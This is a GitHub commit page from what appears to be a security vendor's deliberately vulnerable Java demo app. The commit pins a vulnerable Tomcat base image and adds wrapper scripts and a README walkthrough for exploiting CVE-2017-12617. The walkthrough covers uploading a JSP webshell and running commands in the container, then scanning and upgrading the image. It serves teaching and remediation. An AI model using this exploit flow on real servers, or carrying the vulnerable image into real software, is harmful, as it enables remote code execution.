Skip to content

Commit f4efcd1

Browse files
author
Eric Smalling
committed
Implementing docker tomcat exploit
1 parent 5f4b7f1 commit f4efcd1

File tree

9 files changed

+5006
-8
lines changed

9 files changed

+5006
-8
lines changed

‎Dockerfile

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,12 @@
11
FROM maven:3-jdk-8-slim as build
22

33
RUN mkdir /usr/src/goof
4-
RUN mkdir /tmp/extracted_files
54
COPY . /usr/src/goof
65
WORKDIR /usr/src/goof
6+
RUN --mount=target=$HOME/.m2,type=cache mvn install
77

8-
RUN mvn install
8+
FROM tomcat:8.5.21
99

10-
FROM tomcat:7.0.100
10+
RUN mkdir /tmp/extracted_files
11+
COPY --chown=tomcat:tomcat web.xml /usr/local/tomcat/conf/web.xml
1112
COPY --from=build /usr/src/goof/todolist-web-struts/target/todolist.war /usr/local/tomcat/webapps/todolist.war
12-
13-
RUN apt-get update && apt-get install -y git && rm -rf /var/lib/apt/lists/*
14-
15-

‎README.md

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@ This repo is still incomplete, a work in progress to support related presentatio
1111

1212
(from the original README)
1313

14+
### Local build and run
15+
1416
*Note that to run locally, you need JDK 8.*
1517

1618
1. Check out the project source code from github : `git clone https://github.com/snyk/java-goof.git`
@@ -19,7 +21,9 @@ This repo is still incomplete, a work in progress to support related presentatio
1921
4. Browse the following URL : `localhost:8080/`
2022
5. You can register a new account or login using the following credentials : [email protected] / foobar
2123

22-
## Running with docker-compose
24+
### Build and run with docker-compose
25+
26+
*Note, we run build on and a Tomcat 8.5 image here to support tomcat-rce base image demo.*
2327
```bash
2428
docker-compose up --build
2529
docker-compose down
@@ -29,6 +33,14 @@ docker-compose down
2933

3034
- [Heroku instructions](DEPLOY_HEROKU.md)
3135

36+
## Open source vulnerability exploit
37+
38+
TODO
39+
40+
## Container base image vulnerability exploit
41+
42+
- [Container base image exploit instructions](exploits/tomcat-rce/README.md)
43+
3244
## License
3345
This repo is available released under the [MIT License](http://opensource.org/licenses/mit-license.php/).
3446
# java-goof

‎exploits/tomcat-rce.sh

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#!/usr/bin/env bash
2+
HOSTIP=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1' | head -1)
3+
echo Detected $HOSTIP as your host IP
4+
docker build -t tomcat-rce tomcat-rce
5+
alias check="docker run --rm -it exploit -u http://${HOSTIP}:8080"
6+
alias pwn="docker run --rm -it exploit -u http://${HOSTIP}:8080 -p pwn"

‎exploits/tomcat-rce/Dockerfile

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
FROM python:3
2+
RUN apt-get update -y && apt-get install -y python-requests
3+
4+
COPY exploit.py /exploit.py
5+
6+
ENTRYPOINT [ "/exploit.py" ]
7+

‎exploits/tomcat-rce/README.md

Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
# Docker base image vulnerability exploit
2+
3+
## Prerequisites
4+
* Docker Desktop (Mac / Windows) or Docker-CE (Linux) installed
5+
* docker-compose installed
6+
* java-goof app running in container as per top level [README](/README.md) instructions
7+
8+
## Overview
9+
The default base image `tomcat:8.5.21` is vulnerable to RCE [CVE-2017-12617](https://snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCAT-451514)
10+
and an demonstration exploit, taken from [Exploit-DB](https://www.exploit-db.com/exploits/42966) is available in the exploits directory.
11+
12+
## Setting up the exploit
13+
With the app running locally on `0.0.0.0:8080` set up as follows:
14+
15+
```bash
16+
cd exploits
17+
source tomcat-rce.sh # Note: this will attempt to automatically grab your host IP and will echo it out, make sure it's correct for your OS
18+
```
19+
20+
## Checking if app server is vulnerable
21+
Now you can run the `check` alias to see if the tomcat server is vulnerable.
22+
If it is you should see something similar to the following:
23+
24+
```ascii
25+
$ check
26+
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
27+
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
28+
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
29+
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
30+
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
31+
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
32+
33+
[@intx0x80]
34+
35+
Poc Filename Poc.jsp
36+
File Created ..
37+
http://192.168.1.2:8080 it's Vulnerable to CVE-2017-12617
38+
http://192.168.1.2:8080/Poc.jsp
39+
```
40+
41+
If you point a browser at http://localhost:8080/Poc.jsp you should get a test page with a bunch of "A" char's - that shows the exploit worked.
42+
43+
## Inject the exploit and run commands in the container from browser
44+
Next, run the `pwn` alias and just hit `ENTER` at the shell prompt that comes up. (Ignore the error afterward)
45+
46+
```ascii
47+
$ pwn
48+
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
49+
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
50+
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
51+
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
52+
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
53+
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
54+
55+
[@intx0x80]
56+
57+
Uploading Webshell .....
58+
$
59+
Traceback (most recent call last):
60+
File "/exploit.py", line 188, in <module>
61+
shell(str(url),pwn)
62+
File "/exploit.py", line 98, in shell
63+
cmd=input("$ ")
64+
File "<string>", line 0
65+
66+
^
67+
SyntaxError: unexpected EOF while parsing
68+
```
69+
70+
Now open a browser to http://localhost:8080/pwn.jsp
71+
72+
You should see a blank page with a form containing single field and a `Run` button. Type any Linux command you want and submit the form.
73+
The results will populate the page.
74+
75+
Example 1: `whoami`
76+
![whoami command](whoami-cmd.png)
77+
78+
Example 2: `dpkg -l`
79+
![debian package listing](dpkg-cmd.png)
80+
81+
## Running a container scan
82+
From the repo top-level directory, find the image tag for the goof app. If you built using `docker-compose up --build` then the image tag should be `java-goof_javagoof:latest`
83+
Run a scan with `--app-vulns` and dump the output to a file because it's going to be huge!
84+
85+
```bash
86+
$ snyk container test java-goof_javagoof:latest --file=Dockerfile --app-vulns > snyk.out
87+
\ Analyzing container dependencies for java-goof_javagoof:latest/Dockerfile
88+
...
89+
```
90+
91+
When complete, open the snyk.out file and search for `SNYK-JAVA-ORGAPACHETOMCAT-451514`
92+
```ascii
93+
Upgrade org.apache.tomcat:[email protected] to org.apache.tomcat:[email protected] to fix
94+
✗ Arbitrary File Upload [High Severity][https://snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCAT-551994] in org.apache.tomcat:[email protected]
95+
introduced by org.apache.tomcat:[email protected]
96+
✗ Denial of Service (DoS) [High Severity][https://snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCAT-451507] in org.apache.tomcat:[email protected]
97+
introduced by org.apache.tomcat:[email protected]
98+
✗ Arbitrary Code Execution [High Severity][https://snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCAT-451514] in org.apache.tomcat:[email protected]
99+
introduced by org.apache.tomcat:[email protected]
100+
```
101+
102+
Next, search the file for `Recommendations`
103+
104+
```ascii
105+
Tested 289 dependencies for known issues, found 594 issues.
106+
107+
Base Image Vulnerabilities Severity
108+
tomcat:8.5.21 594 234 high, 173 medium, 187 low
109+
110+
Recommendations for base image upgrade:
111+
112+
Minor upgrades
113+
Base Image Vulnerabilities Severity
114+
tomcat:8.5.64 111 22 high, 12 medium, 77 low
115+
116+
Major upgrades
117+
Base Image Vulnerabilities Severity
118+
tomcat:10.0.0 130 36 high, 17 medium, 77 low
119+
120+
Alternative image types
121+
Base Image Vulnerabilities Severity
122+
tomcat:8.5-jdk15-openjdk-oraclelinux7 0 0 high, 0 medium, 0 low
123+
tomcat:10.0-jdk16-corretto 0 0 high, 0 medium, 0 low
124+
tomcat:8.5-jdk8-corretto 0 0 high, 0 medium, 0 low
125+
tomcat:10-jdk15-corretto 0 0 high, 0 medium, 0 low
126+
```
127+
128+
Kill the running docker-comose process to shut down the app.
129+
130+
Edit the Dockerfile to have `FROM tomcat:8.5-jdk15-openjdk-oraclelinux7` at the top of the final stage.
131+
```dockerfile
132+
#FROM tomcat:8.5.21
133+
FROM tomcat:8.5-jdk15-openjdk-oraclelinux7
134+
RUN mkdir /tmp/extracted_files
135+
COPY --chown=tomcat:tomcat web.xml /usr/local/tomcat/conf/web.xml
136+
COPY --from=build /usr/src/goof/todolist-web-struts/target/todolist.war /usr/local/tomcat/webapps/todolist.war
137+
```
138+
139+
Re-run `docker-compose up --build`
140+
141+
Re-run `check` alias and you should see that the app server is no longer vulnerable.
142+
```ascii
143+
$ check
144+
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
145+
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
146+
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
147+
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
148+
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
149+
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
150+
151+
[@intx0x80]
152+
153+
Poc Filename Poc.jsp
154+
Not Vulnerable to CVE-2017-12617
155+
```
156+
157+
You can alos show that http://localhost:8080/Poc.jsp did not inject the "AAAA" page

‎exploits/tomcat-rce/dpkg-cmd.png

498 KB
Loading

0 commit comments

Comments
 (0)